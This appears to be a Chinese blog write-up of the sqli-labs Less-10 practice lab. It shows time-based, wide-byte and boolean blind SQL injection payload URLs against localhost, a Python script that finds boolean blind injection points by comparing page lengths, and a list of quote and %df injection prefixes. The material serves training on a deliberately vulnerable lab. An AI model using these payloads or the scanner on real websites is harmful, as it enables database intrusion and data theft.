[sqli-labs]Less-10(時間盲注 , 寬字節注入 , Bool盲注)

和第九題一樣 , 將單引號換成雙引號就好了

http://127.0.0.1/Less-10/?id=1
http://127.0.0.1/Less-10/?id=1%22
http://127.0.0.1/Less-10/?id=1%22%20and%20sleep(1)--+
http://127.0.0.1/Less-10/?id=1%22%20and%20(%271%27=%27%27%20or%20sleep(3))--+
http://127.0.0.1/Less-10/?id=1%22%20and%20(()%20or%20sleep(3))--+

后記 :
之后寫了一個批量檢測Bool盲注的腳本 :
跑了之后發現竟然還有Bool盲注的注入點 :

0"|()--+
0%df"|()--+

這兩種情況都可以盲注 , 可以利用之前的腳本去跑 , 可以脫庫
下面是批量檢測是否為Bool盲注的腳本 , 比較忙 , 寫的很簡陋
主要是通過判斷頁面長度來判定是否是Bool盲注
感覺這種判斷的機制并不是很科學 , 以后可能還需要添加關鍵字判斷什么的

#!/usr/bin/env python
# encoding:utf8
import requests

rules = open('rules', 'r')

baseUrl = "http://127.0.0.1/Less-10/?id="

url = baseUrl + "1"

contentLength = len(requests.get(url).text)
print "正常返回長度為 : ",contentLength

for line in rules:
    if line.startswith("#"):
        continue
    if line == "\r\n":
        continue
    line = line[0:-1]
    startTemp = line.split("()")[0]
    endTemp = line.split("()")[1]
    testUrl1 = baseUrl + startTemp + "0" + endTemp
    testUrl2 = baseUrl + startTemp + "1" + endTemp
    # print "Checking : " + testUrl1 + "\t",
    len1 = len(requests.get(testUrl1).text)
    # print len1
    len2 = len(requests.get(testUrl2).text)
    # print testUrl2,"\t",len2
    if (len1 != contentLength) and (len2 == contentLength):
        print baseUrl + line
# 如下語句 : 如果返回正常 , 說明猜測成功
0|()--+
0'|()--+
0"|()--+
0)|()--+
0')|()--+
0")|()--+
0))|()--+
0'))|()--+
0"))|()--+
0)))|()--+
#####################################
# 當單引號被過濾(去掉)
0%df'|()--+
0%df')|()--+
0%df'))|()--+
#####################################
# 當雙引號被過濾
0%df"|()--+
0%df")|()--+
0%df"))|()--+
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容